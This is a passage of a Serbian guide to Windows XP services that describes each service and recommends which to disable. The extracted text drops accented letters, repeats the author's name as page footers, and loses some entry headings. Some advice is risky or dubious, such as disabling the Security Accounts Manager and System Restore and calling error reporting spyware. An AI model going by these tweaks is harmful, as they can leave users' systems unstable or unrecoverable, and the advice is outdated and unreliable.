i spojite se na internet. Iako nisu prijavljeni nikakvi problemi kada se iskljui, ova Service je moda
potrebna za neke funkcije MSN Explorera, Windows Messengera, Windows Media Playera ili
buduih funkcija .NET-a.
Bluetooth Service
Ukoliko imate Bluetooth adapter (USB, Interni, Serijski) i instalirali ste software za njega (WIDCOMM
ili neki drugi), ova service e vam se pojaviti u listi servisa. Najbolje je da se ostavi na Automatic jer
se ne startuje ukoliko vam Bluetooth adapter nije ukljuen. Ukoliko ne elite da je service startovana
iskljuite je i pomou Startup Control Panel programa (vidi u Korisni Programi) iskljuite programi
btwdins.exe. Na taj nain e te iskljuiti automatsko startovanje Bluetooth softvera. Ovo nije
preporuljivo ako koristite Bluetooth adapter u normalnom radu i treba pribegavati ovom postupku
samo pri lociranju problema. Preporuka je ne dirati nita i sve ostaviti kako je originalno podeeno.
ClipBook
Koristi da sauva informacije za CUT i PASTE opcije i da ih deli sa ostalim raunarima na mrei. Ovo
nema nikakve veze sa kopiranjem i razmenom fajlova. Nisam nikako uspeo da pogodim emu
praktino slui ova Service.
COM+Event System
Slui aplikacijama koje koriste COM+, a ako se podesi na Manual mnogi Service je kontaktiraju pa e
ipak biti ukljuena. Ako je iskljuena u Event Log-u e se pojaviti linija DCOM koja obavetava da
COM+Event System nije ukljuen. Pogledajte pod C:\Program Files\ComPlus Applications\ i ako
nemate ni jednu COM+ aplikaciju, Service moete bezbedno iskljuiti ali e vam se pojavljivati Event
Log pri podizanju sistema obavetavajui vas da Service nije ukljuen.
Com+System Application
Ako iskljuite ovaj Service, u Event Log-u e te imati liniju DCOM koja vas obavetava da je Service
iskljuen. Pogledati COM+Event System.
DRAGAN MARKOVIC
Computer Browser
Regulie i odrava listu kompjutera i resurse koji se nalaze na mrei. Ovaj Service nije potreban na
kunim raunarima, pogotovo ako nisu ni na kakvoj mrei. Ustvari, ukoliko se Service iskljui, a
raunar je povezan na mreu, jo uvek moete da koristite sve resurse mree. Na velikim mreama,
jedan raunar je MASTER a drugi je pomoni master. Svi ostali samo javljaju da su spremni da
preuzmu ulogu svakih 12 minuta u sluaju kvara na jednom od dva glavna raunara. Nema nikakvog
laga (usporenja) ako se ovaj Service iskljui na svim sem na jednom raunaru (mada je i to pitanje).
Iz predostronosti, ostavite ga da radi na jednom raunaru jer Service ne treba da radi na svim
raunarima svo vreme.
Cryptographic Services
Slui za proveru i potvrdu potpisa Windows fajlova. Ukoliko se iskljui, mogli bi stalno dobijati upozorenja o nesertifikovanim drajverima. Service je potreban da bi Windows update, kada je podeen
na Manual ili Automatic, radio normalno. Takoe potreban je da bi se instalirao ServicePack1 i
DirectX 9.0. Windows Media Player i neke budue .NET aplikacije e zahtevati ovaj Service za neke
opcije. Ovaj Service oduzima 1.9 MB RAM memorije.
DHCP Client
Dobija Dynamic (dinaminu) IP adresu od DHCP servera i DNS-a. Veina DSL/kablovskih ISP-a
koristi DHCP radi spajanja na internet.
Distributed Link Tracking Client
Odrava linkove sa NTFS fajlovima u korisnikovom kompjuteru i sa fajlovima na mrei. Npr. Ako
napravimo fajl na raunaru 1, a na raunaru 2 napravimo ortkat ili link do tog fajla, ukoliko premestimo taj fajl na neko drugo mesto na raunaru 1 ovaj Service e rei raunaru 2 gde je fajl premeten
i popravie mu put ortkata ili linka do novog mesta fajla. Iako je ovo moda odlina opcija, pogotovo na veim mreama, na malim mreama ne vidim potrebu da se Service koristi, Ovo se pogotovo
odnosi na Igraonice. U stanju mirovanja oduzima oko 4 MB RAM memorije.
Distributed Transaction Coordinator
Vodi rauna o transakcijama koje se obavljaju preko vie resursa (ili mrea). Potrebna je ako se
koristi Message Queqing. Ukoliko se iskljui, pojavie se obavetenje u Event Log-u. Nema prijavljenih loih efekata ako se ovaj Service iskljui. MS .NET e moda u budunosti zahtevati da ova
Service bude ukljuena.
DNS Client
Koristi kod keovanja DNS imena i Active Directory domejn funkcija. Service nije potrebna za DNS
preglede (lookups). Ukoliko koristite IPSEC, ovaj Service mora biti aktivan. Ukoliko elite da
popravite vau konekciju i iskoi prozor u kome pie DNS resolver failed to flush the cache, verovatno ste iskljuili ovu Service. Da bi ovo popravili ukljuite je. Da bi smanjili mreni protok do vaeg
ISP DNS servera, stavite Service na Automatic.
DRAGAN MARKOVIC
Kontaktira Microsoft i alje podatke o greci kada se ona dogodi. Jo jedan oblik spyware programa.
Beznaajno eka da se greka dogodi i onda koristi vau internet konekciju kako bi poslala detalje
o greci. Preporuujem da je odmah iskljuite. Ukljuite je ukoliko imate ogroman broj neverovatnih
problema a za koje nemate nikakvo reenje (prvo pogledajte sekciju Task Manager Tasl list). Ukoliko
se ti problemi deavaju posle instalacije nekog softvera ili drajvera, deinstalirajte ih jer su to verovatno krivci za nestabilan rad. Ukoliko vam raunar radi kako treba, iskljuite ovaj Service.
Event Log
Poruke koje generie ova Service moete pogledati u Event Viewer-u. Uvek je od pomoi da da se
vidi kakvi problemi postoje sa nekim aplikacijama koje prosean korisnik ne vidi. Ukoliko iskljuite
ovu Service a ne iskljuite Windows Management Instrumentation, moete primetiti da vam je podizanje sistema sporije. Najbolje je da ova Service bude na Automatic opciji.
Fast User Switching Compatibility
Jedina upotreba je da ako menjate korisnike (users) na istom raunaru, sa ovom Service
ukljuenom, aplikacije koje su startovane nee se ugasiti. Po meni, Service je totalno beskorisna i
samo troi memoriju i resurse (vrlo mali deo, ali malo po malo a se napravi mnogo)
Fix-It Task Manager
Dolazi sa instalacijom Fix-it utilities programskog paketa za odravanje raunara. Slui za bre startovanje pojedinih alata unutar paketa. Nije neophodan za rad raunara ili za rad programskog
paketa. Preporuujem da se iskljui kako nebi nepotrebno troila resurse raunara.
Fax Services
Podrka za kontrolu Fax opcije modema direktno iz WinXP-a bez potrebe za nekim odvojenim programom. Odlina Service za manja preduzea jer dolazi se WinXP-om pa ne trebate troiti sredstva
za posebne programe. Za prosenog korisnika totalno je nepotrebna.
FTP Publishing Service
Ukoliko elite da imate FTP server na vaoj mrei, potrebna vam je ova Service. U protivnom nije
potrebna. Ne instalira se na WinXP pri instalaciji sistema, a u Home verziji i ne postoji.
GearSecurity
Instalira se sa iTune programom. iTune je program koji dolazi u paketu sa Quick Time programom.
Quick Time se moe nai i odvojeno od njega to je vrlo preporuljivo. Program na nekim konfiguracijama radi bez problema, dok na veini pravi razne probleme. Navodno program dodaje raunaru
CDRW mogunosti, ali ustvari omoguava iPod i iTune programu da koristi CDRW mogunosti.
Kako Windows XP u sebi ima CDRW mogunosti ovaj program postaje totalno beskoristan svima,
sem onima koji imaju nameru da reu CD diskove iz iTune programa. Gaenjem ovog service se ne
utie na rad raunara ili nekih njegovih komponenti, kao ni ne rad Quick Time programa.
Preporuujem da se ovaj service postavi na Disabled.
DRAGAN MARKOVIC
Potrebna je za Microsoftove online help dokumente. Ako ikada upotrebite Help and Support, ova
Service se vraa u Automatic reim iako ste je prethodno iskljuili.
Human Interface Device Access
Ukoliko ne posedujete ureaje ili ne koristite neke opcije ureaja koje posedujete, npr. skenere sa
funkcijskim tasterima (scan now, fax, copy ili sl.), tastature sa dodatnim (internet) tasterima (za kontrolu jaine zvuka i sl.) ili sline ureaje slobodno iskljuite ovaj Service. Ako posedujete sline
ureaje, iskljuenjem ove Service ureaji e nastaviti normalno da rade samo nee imati dodatne
opcije.
IIS Admin
Nije automatski instalirana na WinXP Pro verziji a na Home verziji i ne postoji. Ukoliko koristite FTP
Server ili imate Lokalni Web Sajt (raunar non-stop na mrei a sajt vam se nalazi na tom raunaru),
ova Service vam je potrebna i trebala bi biti ukljuena. Inae ona je meta velikog broja hakera i vrlo
je popularna za testiranje sposobnosti i uenje upadanja na raunare, pa preporuujem da je i ne
instalirate a ako ve jeste deinstalirajte je ukoliko vam nije potrebna.
IMAPI CD-Burning COM Service
Kontrolie snimanje CD-a iz Windows Explorera, po drag-and-drop tehnici. Izuzetna opcija i jedna od
najbolje uraenih jer se startuje samo kad je potrebna i po zavretku posla se gasi. Ukoliko niste u
mogunosti da snimite CD i Explorera kada je Service nameten na Manual, namestite je na Automatic (takoe se startuje samo kad je potrebna). Zauzima oko 1.6 MB RAM memorije u stanju
mirovanja.
Indexing Service
Ovo je oduvek bio najvei razlog za usporen rad raunara. Ja je iskljuujem na svakom raunaru koji
sretnem. Moe se deinstalirati preko Add/Remove Programs u Control Panel-u (pod Windows Setup
Programs). Koristi oko 2 MB RAM memorije u stanju mirovanja a optereenje sistema i upotreba
memorije dok pravi index se ne moe izmeriti. Iako bi ova Service trebala da radi samo kada je
raunar u stanju mirovanja due vreme, video sam da se ukljuuje u sred rada i igranja i tako znatno
usporava rad. Moje preporuka je iskljuiti, iskljuiti i samo iskljuiti.
Internet Connection Firewall and Internet Connection Sharing
Koristi da bi se obezbedio pristup internetu svim raunarima na mrei preko jedne konekcije.
Takoe slui za zatitu raunara od upada hakera. Instalira se samo na raunarima sa modemom, i
nije potreban u drugim sluajevima. Ukoliko koristite odvojenu program za deljenje konekcije ili za
zatitu raunara od hakera. Service nije potrebna. Vidi Zone Alarm u sekciji Korisni Programi.
PodService
Isto kao i gearsec, ovaj program dolazi u paketu iTune i Quick Time programa. Program se opisuje
kao iPod hardver menadment servis. Totalno je beskoristan svima sem onima koji imaju nameru da
koriste iTune program i sve njegove mogunosti. Gaenjem se ne utie na normalan rad raunara ni
DRAGAN MARKOVIC
nekog od njegovih delova, kao ni Quick Time programa. Pogledati GearSec service za dodatne informacije. Predlaem da se ovaj program postavi na Disabled.
IPSEC Services
Mogue da je potrebna na nekim VNP konekcijama ili domenima, ali prosenom korisniku nije
potrebna.
LexBce Server
Ovaj program se instalira sa Lexmark MarkVision softverom. U Windows 98 OS-u se startuje kao
startup program a u Windows NT, 2000 i XP kao Service. Ako imate Win NT, 2000 ili XP, pogledajte
sekciju Windows XP Services za informacije. Ukoliko va Lexmark tampa dolazi sa internom
mrenom karticom, morate instalirati MarkVision softver da bi mogli konfigurisati mrenu karticu.
Ukoliko nemate problema pri radu, ostavite ovaj program da radi. Program je u velikom broju
sluajeva pokazao da pravi ogromne probleme pri startu raunara, osetna usporenja raunara pri
normalnom radu i brojne ostale probleme. Program je mogue ugasiti pomou Startup Control
Panel programa za Win98 ili ga iskljuiti iz Services u WinXP-u. Ukoliko ne koristite tampa na
mrei tj. ne koristite ga da bi tampali dokumente sa vie raunara, ovaj program je preporuljivo
ugasiti. Posle gaenja programa obavezno proverite da li vam sve potrebne opcije oko tampaa
rade (tampanje i sl.), pustite neto da se tampa i vidite da li sve funkcionie. Ukoliko postoji problem i tampa nee da radi kako treba (ne tampa i sl.), ponovo ukljuite program i tampa e
ponovo raditi. Ukoliko ste iskljuili program i tampa je radio jedno vreme (nekoliko dana) pa je
prestao da radi, ukljuivanjem ovog programa neete nita postii jer nije problem u njemu ve u
neem drugom.
(Preuzeto iz sekcije Startup Programi)
Logical Disk Manager
Od vitalnog je znaaje za rad Disk Management MMC konzole za dinamine drajvove (dynamic
volumes). Ako pokuavate da vrite odravanje diska i iskoi vam prozor koji vam kae da nije u
mogunosti da odradi ono to ste hteli, startujte ovu Service. Nikakvih problema nije prijavljeno ako
se ona iskljui sem gore navedenog.
Logical Disk Manager Administrative Service
Od vitalnog je znaaja za rad Disk Management MMC konzole za dinamine drajvove (dynamic
volumes).
Machine Debug Manager
Instalira se najverovatnije sa Office paketom. Upravlja lokalnom i daljinskom debagingu za debagere
Visual Studio programa. Prosenom korisniku nije potreban. Ne utie na rad ni jednog programa niti
sistema ukoliko se iskljui, a preporuujem da se ugasi jer troi resurse sistema. Ponekad napravi i
log fajl koji moe biti velik i nekoliko desetina ili stotina MB memorije na HDD drajvu.
Message Queuing
Ne instalira se automatski na XP PRO verziji a na Home verziji je nema. Moe biti potrebna na nekim
DRAGAN MARKOVIC
DRAGAN MARKOVIC
DRAGAN MARKOVIC
uvek biti instaliran, ali nee biti vidljiv u Printers direktorijumu. Kada je startujete, tampa e
ponovo biti u listi i moi e da se koristi. Preporuka mnogih je da ako koristite tampa s vremena
na vreme, namestite Service na Manual i startujte je kada elite da koristite tampa, a ako tampa
koristite intenzivno ostavite je ukljuenu. Iskljuenjem ove opcije dobija se oko 4 MB RAM memorije.
Protected Storage
Dozvoljava snimanje pasvorda u programima kao to su Outlook Express, Outlook ili Dial Up prozor.
Ukoliko je iskljuite Windows nee pamtiti ove pasvorde. Preporuujem da je ostavite ukljuenu.
QoS RSVP
Obezbeuje kontrolu saobraaja na mreama koje koriste IPSEC i aplikacijama koje podravaju QoS
i IMAJU ADAPTER KOJI GA PODRAVA. QoS Packed drajver se standardno instalira na svaku
TCP/IP konekciju. Ako vaa mrea ne koristi ovaj Service, moete ga iskljuiti ili deinstalirati. Po
nekim tekstovima, takoe je potreban i ACS Server za QoS packet Scheduler and Applications da bi
mogao da poalje zahtev za eljeni protok podataka (bandwidth). Ukoliko koristite NetMeeting da bi
slali sliku i zvuk preko mree, bie vam potrebna ova Service. Neki ljudi su prijavljivali da QoS koristi
20% od brzine protoka i ne dozvoljava njihovo korienje (rezervie ga). Ovo nije tano. Pogledajte
sledei link:
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q316666
Remote Access Auto Connection Manager
Pravi konekciju za network kada program zatrai neku adresu. Ova Service moe biti potrebna za
vau internet konekciju. Ako vaa Dial-up konekcija, kablovska konekcija ili DSL internet konekcija
ne radi posle iskljuenja ove Service, ukljuite je ponovo. Ako koristite tzv. hardware gateway ili
router, ova Service nije potrebna.
Remote Access Connection Manager
Kreira network konekciju. Potrebna je ako koristite Internet Connection Sharing. Ako vaa Dial-up
konekcija, kablovska konekcija ili DSL internet konekcija ne radi posle iskljuenja ove Service,
ukljuite je ponovo. Ako koristite tzv. hardware gateway ili router, ova Service nije potrebna.
Remote Desktop Help Session Manager
Slui za upravljanje i kontrolu Remote Assistance-a. Ako vam ne treba ova Service, ugasite je. U
stanju mirovanja, ova Service koristi oko 4 MB RAM memorije.
Remote Procedure Call (RPC)
Ovo je prilino vitalna Service. Ni u kom sluaju je ne treba dirati. Ako se ova Service kojim sluajem
iskljui, neete biti u mogunosti da podignete Windows sistem.
Remote Procedure Call (RPC) Locator
Upravlja bazu RPC servisnih imena. Ukoliko neto na vaoj mrei ne radi posle iskljuivanja, ponovo
je ukljuite. Do sada nisam nigde naao razlog da ova Service bude ukljuena. Kada je startovana
koristi oko 1.5 MB RAM memorije.
DRAGAN MARKOVIC
Nije dostupna na XP Home verziji. Ovo je jedna od onih Service koje nisu potrebne prosenim korisnicima. Jedna od Service koje korisnici prvu iskljuuju.
Removable Storage
Koristi za kontrolu i upravljanje ureajima kao to je CD/DVD ROM i sl. U sluaju da koristite autoplay opciju drajva i sline opcije, a one vie nee da rade kada iskljuite ovu Service, ukljuite je. U
normalnom radu ova Service nije neophodna da bude stalno ukljuena (po izvetajima mnogih
korisnika) i neete izgubiti funkcionalnost ureaja ako je ugasite.
RIP Listener
Ne postoji na XP Home verziji i ne instalira se na XP PRO verziji. Ako vam je potrebna moete je
instalirati kasnije, a ako neznate ta je RIP Listener onda vam nije potrebna.
Routing and Remote Access
Omoguuje raunarima da upute poziv preko modema (ili drugih ureaja) do lokalnog servera radi
pristupa lokalnoj mrei koristei standardnu ili VPN konekciju. Ukoliko ne koristite ovu Service,
iskljuite je. Kada je service startovana, u Network Connecton-su e se pojaviti ikona Incoming Connections.
Secondary Logon
Omoguuje startovanje procesa (programa) pod razliitim kredibilnostima (credentials). Omoguuje
korisnicima sa manjim pravima da startuju aplikacije koje zahtevaju vee privilegije. Totalno beskorisno za veliki broj korisnika. Ukoliko je iskljuite gubite opciju RunAs... koje se dobija desnim
klikom na aplikaciju.
Security Accounts Manager
Kao i Protected Storage uva profile i sigurnosne informacija za lokalne korisnike. Potrebna je kod
korienja IIS Admin. Ukoliko ste ikada koristili Group Policy Editor da bi modifikovali neka
podeavanja, morate ostaviti ovu Service da radi. U ostalim sluajevima je slobodno iskljuite.
Server
Koristi za razmenu fajlova i korienje tampaa sa vaeg raunara ili Message Queuing-a. Ukoliko
ne elite da sa mreom delite ove resurse, iskljuite ovaj Service. Iskljuivanje ne utie na
mogunost konekcije na mreu ili na mogunost korienja drajvova (ili diskova) na mrei. Workstation mora biti ukljuen da bi se konektovali na drugi raunar koji ima fajlove koje traite. Ukoliko
iskljuite File and Printer Sharing, mogue je da e ova Service nestati (tj. iskljuiti se). Ukljuite File
and Printer Sharing, i Service e se ponovo pojaviti.
Shell Hardware Detection
Koristi ureajima koji imaju auto-play opciju kao to su memorijske kartice, CD/DVD drajvovi i sl.
Ukoliko imate problema sa Docking Station-om vaeg lap-top (notebook) raunara, stavite ovu Ser-
DRAGAN MARKOVIC
vice na Automatic. Kada je iskljuena primetiete sledee: (1) Mogue je da u My Computer prozoru
(WinExporer) neete videti da za npr. DVD Drajv pie DVD Drive. Drajv ne gubi na funkcionalnosti
zbog ovoga, (2) Kada proveravate opcije za Auto-play ureaj, npr. DVD drajv, primetiete da
nedostaje Auto-play tab. Neete biti u mogunosti da odredite akcije za pojedine fajlove i formate.
Ukoliko koristite Auto-play opciju, stavite Service na Automatic, a ukoliko vam nee smetati navedeni gubitci i ne koristite Auto-play opciju, iskljuite ovu Service.
Simple Mail Transport Protocol (SMTP)
Nije dostupna na XP Home verziji a nije automatski instalirana na XP PRO verziji. Koristi za podrku
lokalnog (izlazeeg - outbound) e-mail servera.
Simple TCP/IP Services
Nije dostupna na XP Home verziji a nije automatski instalirana na XP PRO verziji. Service podrava
neke starije UNIX mrene servise.
Smart Card
Prua podrku za korienje Smart Card-a za autentifikaciju lokalnih i network raunara. Ukoliko
nemate Smart Card ili ne znate ta je to, ova Service vam nije potrebna. Kada je startovana Service
zauzima oko 1.5 MB RAM memorije. Iskljuite je.
Smart Card Helper
Prua podrku za korienje Smart Card-a za autentifikaciju lokalnih i network raunara. Ukoliko
nemate Smart Card ili ne znate ta je to, ova Service vam nije potrebna. Iskljuite je.
SNMP Service
Nije instalirana automatski a ako je potrebna moe se instalirati sa WinXP CD-a. Prua podrku
korienju mrenih ureaja koji koriste SNMP kao mod (metod) za daljinsku kontrolu (remote Management).
SNMP Trap Service
Nije instalirana automatski a ako je potrebna moe se instalirati sa WinXP CD-a. Prua podrku
korienju mrenih ureaja koji koriste SNMP kao mod (metod) za daljinsku kontrolu (remote Management).
SSDP Discovery Service
Korist da bi se locirali UPnP ureaju na kunim mreama. Ako se koristi uz Universal Plug and Play
Device Host, ona detektuje i konfigurie UPnP ureaje na kunim mreama. Ukoliko posle
iskljuivanja neki od vaih ureaja prestane da radi ili se udno ponaa, ukljuite ovu Service. MSN
Messenger koristi ovu Service zajedno sa podravanim UPnP ureajima da bi obezbedio podrku za
mree koje su zatiene NAT zatitom (firewallom) ili ruterom. Takoe, ako primetite neke probleme
pri spajanju na multiplejer igre (servere) koje koriste DX7 ili DX8 (DirectX), ukljuite ovu Service. Ako
vam je potrebna ova Service, obratite panju na sve mogue popravke jer postoje neke indikacije da
je Service potencijalna mogunost napada hakera i rupa u vaem sistemu. UPnP nije i nema nikakve
DRAGAN MARKOVIC
veze sa PnP. UPnP slui za mogunost spajanja preko mree kroz TCP/IP do ureaja kao to su skeneri ili tampai. Vaa audio kartica je PnP. Ne iskljuujte PnP tj. Plug and Play.
System Event Notification
Koristi se u paru sa COM+ Event System Service-om. Ona obavetava ostale Service kada se dogodi
neki sistemski dogaaj kao to je logon (logovanje) i sl. Ukoliko se iskljui, u Event Log-u, se pojavljuje linija koja vas obavetava da je Service iskljuen. Prosean korisnik verovatno ne treba ovu
Service i jo uvek nije izvesno da li uopte ime nekih loih efekata ako se ona iskljui.
System Restore Services
Ova Service pravi sliku vaeg sistema i vraa ga i to stanje kasnije (kada zatreba). Ovo je, pored
Indexing Service-a, najvei razlog za usporenje sistema. Uvek kada instalirate neki program, Windows pravi sliku sistema u sluaju da se neto desi i elite da se vratite na preanje stanje. Ukoliko
ostavite ovu Service ukljuenu, ona moe svojim slikama da zauzme i do 20 GB na veim diskovima.
Iako korisna u nekim situacijama (instalacija Service Packa, beta programa i sl.), WinXP je dovoljno
stabilan da je pomalo besmisleno imati je konstantno ukljuenu. Ukoliko je iskljuite, sve slike
sistema koje je Service napravila bie izbrisani. Postoje opcije koje odreuju koju e koliinu diska
zauzeti slike. Toplo preporuujem da je iskljuite.
Task Scheduler
Slui za planiranje automatskih operacija koje e Windows u zadata vremena izvravati. Neki programi mogu zahtevati ovu Servise u cilju provere najnovijih verzija ili njihovih baza. Iako opcija nije
loa, mnogi korisnici vie vole da sve sami urade tako u svakom momentu znaju ta imaju instalirano a ukoliko postoji poboljanje ili nova verzija, bilo bi lepo na se zna ta nam donosi i da li nam
treba pre nego to potroimo vreme i novac skidajui je sa interneta. Inae, mnogi korisnici e groze
pomisli da Windows sam eta po internetu ili da neto eprka po disku. Preporuujem da je
iskljuite.
TCP/IP NetBIOS Helper Service
Prua podrku za NetBIOS preko TCP/IP-a. Ako vaa mrea ne koristi NetBIOS i/ili WINS, iskljuite
ovu Service.
TCP/IP Printer Server
Nije instalirana automatski a ako je potrebna moe se instalirati sa WinXP CD-a. Koristi pri
podeavanju lokalnog UNIX print servera.
Telephony
Kontrolie tzv. telefonske ureaje na vaem raunaru. Potrebna je za mogunost korienja
modema. Neki kablovski ili DSL provajderi koriste ovu Service, to zavisnosti od toga kako je
odraen logon ili neke AOL funkcije a to opet zavisi od korienog softvera.
Telnet
Nije instalirana automatski a ako je potrebna moe se instalirati sa WinXP CD-a. Prua mogunost
DRAGAN MARKOVIC
daljinskog logovanja na lokalni raunar kroz telnet funkciju. U cilju bolje zatite, iskljuite ovu Service ukoliko nije specifino neophodna za va rad. Iskljuenjem oslobaamo oko 2,5 MB RAM
memorije.
Terminal Services
Prua mogunost daljinskog logovanja na lokalni raunar. Ova services je neophodna za rad Fast
User Switching, Remote Desktop Server i Remote Assistance. Ukoliko je iskljuite, neete biti u
mogunosti da vidite ko je pristupio raunaru (ko je logovan). Zbog vee sigurnosti, iskljuite ovu
Service ukoliko vam nije neophodna za normalan rad. Ako elite da instalirate Norton 2003, ukljuite
ovu Service. Ako spajate dva raunara u cilju razmene podataka ili igranja (najee preko modema)
ostavite ovu Service ukljuenu. Vidi Windows Tips & Tricks.
Themes
Koristi da bi se dobio novi izgled WinXP sistema. Ukoliko nemate mnogo memorije i nije vam bitan
izgled WinXP sistema, iskljuite ovu service. Iskljuivanjem, WinXP e izgledati kao Win98. Kada je
ukljuena zauzima izmeu 4 MB i 15 MB RAM memorije.
TrueVector Internet Monitor
Instalira se sa Zone Alarm firewall programom koji titi raunar od upada hakera i od zaraze virusa
sa interneta. Program nije antivirus program, ve titi raunar od Worm-ova i slinih stvari koji se
mogu nai u html stranici ili u elektronskom pismu. Ni u kom sluaju ga ne dirati, a ukoliko je
podeen na neku drugu vrednost podesiti ga na MANUAL. Servis je potreban samo onda kada ste
na internetu a aktivira se startom Zone Alarm programa. Iz ovog razloga nije potrebno da bude
podeen na automatic.
Uninterruptible Power Supply
Prua podrku za UPS (neprekidan izvor napajanja). Neki UPS ureaji koriste ovu Service, dok drug.
UPS ureajima nije potrebna. Ukoliko va UPS ne radi kako je radio posle iskljuenja Service,
morate je imati ukljuenu.
Universal Plug and Play Device Host
Koristi se uz SSDP Discovery Service, koja detektuje i konfigurie UPnP ureaje na kunim
mreama. Ukoliko posle iskljuivanja neki od vaih ureaja prestane da radi ili se udno ponaa,
ukljuite ovaj Service. MSN Messenger koristi ovu Service zajedno sa podravanim UPnP ureajima
da bi obezbedio podrku za mree koje su zatiena NAT zatitom (firewall-om) ili ruterom. Takoe,
ako primetite neke probleme pri spajanju na multiplejer igre (servere) koje koriste DX7 ili DX8
(DirectX), ukljuite ovu Service. Ako vam je potrebna ova Service, obratite panju na sve mogue
popravke jer postoje neke indikacije da je Service potencijalna mogunost napada hakera i rupa u
vaem sistemu. UPnP nije i nema nikakve veze sa PnP. UPnP slui za mogunost spajanja preko
mree kroz TCP/IP do ureaja kao to su skeneri ili tampai. Vaa audio kartica je PnP. Ne
iskljuujte PnP tj. Plug and Play.
Upload Manager
Kao i Background Intelligent Transfer Services, ova Service kontrolie transfer fajlova izmeu ser-
DRAGAN MARKOVIC
vera i klijenta na mrei. Ova Service nije potrebna za osnovno korienje resurse (tampai, Fajlovi,
Skeneri,...).
Volume Shadow Copy
Koriti se zajedno sa MS Software Shadow Copy Provider Service-om. Microsoft Backup takoe kristi
ovu Service. Ukoliko je ugasite, u Event Logu ete dobiti obavetenje da vam je ova service
iskljuena. Nisu naeni nikakvi loi efekti ako se ugasi ova Service. Ako se stavi na Manual ili Disabled, oslobaa se oko 3 MB RAM memorije. Kada se stavi na manual, nee biti obavetenja u Event
Logu.
WebClient
Nije naena neka praktina primena ove Service. Ukoliko posle iskljuenja ove Service neke
aplikacije ili ureaji prestanu da rade onako kako bi trebali, probajte da startujete ovu Service i vidite
da li je njeno iskljuenje razlog nepravilnom radu.
Windows Audio
Slui da bi se uo zvuk. Ukoliko ne posedujete audio karticu, iskljuite ovu Service.
Windows Image Acquisition (WIA)
Koristi za podrku nekim skenerima, web kamerama, kamerama i sl. Ako ureaj, posle iskljuenja ne
radi pravilno, ukljuite ovu service.
Windows Installer
Potrebna je za mogunost instalacije aplikacija koje koriste MSI fajlove. Ukoliko pri instalaciji neke
aplikacije dobijete greku "RPC Service", ukljuite ovu Service. Obratite panju da Service nije
potrebna da bi instaliran MSI program radio. Takoe zauzima 3.5 MB RAM memorije. Ako je podesite
na Manual, sauvae te tu koliinu memorije a service e se startovati po potrebi.
Windows Management Instrumentation
Poprilino vana Service. Ukoliko je iskljuite neke neobjanjive stvari mogu da ponu da se
deavaju. Ostavite je ukljuenu.
Windows Management Instrumentation Driver Extension
Nema je na XP Home verziji. Na XP PRO verziji je prisutna, ali nije tako vana kao Windows Management Instrumentation. Bez obzira na to, ne preporuujem da je gasite. Ako morate stavite je na
Manual.
Windows Management Instrumentation Provider Service
Ova Service je host proces za WMI Provider Service. Namenjena je da popravi probleme u Windows
2000 OS-u, koji su se manifestovali tako da kada se zablokira ili poremeti WMI Provider Service,
zablokira se i poremeti cela WMI Service. Ovo je jedan od vitalnih delova Windows operativnog systema i ne sme se dirati.
DRAGAN MARKOVIC
Kao i kos SVCHOST Services, i ova moe da ima nekoliko instanci (da bude listovana nekoliko puta).
Ukoliko se pojavljuje problem oko ove service (oko upotrebe procesora i sl.), skoro sigurno nije
problem sa njom ve je problem sa neim to ova services hostuje, sa nekim hardverom ili
nekompatibilnou. U nekim sluajevima, loi drajveri za mrenu karticu ili lo ipset na bilo kom
mestu na mrei (bilo koji raunar) moe da doprinese velikom korienju procesora od strane
WMIPRVSE Services.
Windows Time
Automatski podeava sat tako to kontaktira server i proverava tano vreme u vaem podruju.
Spaja se na MicroSoftov sajt radi te provere. Ovo moete uraditi i runo sa gomilom besplatnih programa (vidi Korisni Programi). Ukoliko vam je neophodna ova Service, verovatno e vam trebati i
Task Scheduler. Umesto MicroSoftovog servera moete upotrebiti time.nist.gov server.
Wireless Zero Configuration
Omoguava automatsku konfiguraciju beinih mrenih ureaja obavetenja o kvalitetu konekcije.
Service e vam moda trebati da se spojite sa nekim HOT SYNC softverom za PDA, laptopovima ili
drugim prenosnim raunarima. Ukoliko nemate beine mrene ureaje, iskljuite ovu Service.
Ovo se ne odnosi na Bluetooth ureaje koji rade bez problema kada je ova services iskljuena. Ukoliko imate problema sa postavkom mree preko Bluetooth ureaja, prvo proverite sve druge opcije i
podeavanja. Neka vam ukljuenje ove service bude poslednja opcija, jer po svemu sudei nije
potrebna za rad Bluetooth ureaja.
WMI Performance Adapter
Nisam nigde pronaao, emu ova Service slii. Kada je iskljuena, niko nije prijavljivao nikakve loe
efekte niti gubitke funkcionalnosti hardvera ili softvera. Zauzima oko 6 MB RAM memorije kada je
startovana. Iskljuite je, a ako primetite neke promene na gore ukljuite je.
Workstation
Koristi da bi se lokalni raunar spojio na druge raunare (remote computers). Primeri bi mogli biti
konekcije na internet ili korienje mrenih ureaja (tampaa) ili razmena fajlova. Mnoge Services
zavise od ove. Ostavite je na Automatic.
World Wide Web Publishing Service
Nema je na XP Home verziji i nije instalirana automatski na XP PRO a ako je potrebna moe se
instalirati sa WinXP CD-a. Koristi pri podeavanjima lokalnog web servera. Ukoliko je ne trebate
nemojte je instalirati jer joj je potreban i IIS Admin, koji je poznat po tome to ga hakeri i krekeri
oboavaju, i moe ugroziti vau sigurnost.
DRAGAN MARKOVIC
Windows XP Services
(target OS: Windows XP)
Sve napisano na ovoj stranici ili na stranicama koje se dobiju kliktanjem na njene linkove koristite na sopstvenu
odgovornost.Autor nije odgovoran za posledice koje mogu nastati pravilnim ili nepravilnim korienjem navedenih
tekstova ili programa.
Windows XP nam dolazi sa sistemskim programima koji se nazivaju Services. Listi tih servisa se
pristupa kada se ode u Control Panel, otvori se Administrative Tools i otvori se Services. Ti Servisi
se startuju pri startu sistema ili u radu korisnika. Neki od tih Servisa su neophodni za stabilnost i rad
sistema, drugi su potrebni samo povremeno a neki uopte nisu potrebni i ak ih je poeljno iskljuiti
jer optereuju sistemske resurse, memoriju i internet konekciju i usporavaj rad raunara. Ova usporavanja se najvie primeuju kod startovanja sistema, surfovanja i igranja. Na stranicama u sekciju
Windows XP Services moete nai podatke o tim Servisima i neke preporuene konfiguracije i
podeavanja (postavke). Autor ne garantuje da e vam neka od ovih konfiguracija odgovarati, i
takoe se moe desiti da vam posle podeavanja neto ne radi (zbog razliitih sistema i njihove
upotrebe u razliite svrhe). Posle detaljnog pregleda svih servisa odluio sam se za konfiguraciju
koja se zove Postavka autora. Slede kraa objanjenja o preporuenim postavkama.
WinXP PRO (Home)
Poetna postavka
Za 95% korisnika
Za
Igrace
Ovo je konfiguracija za
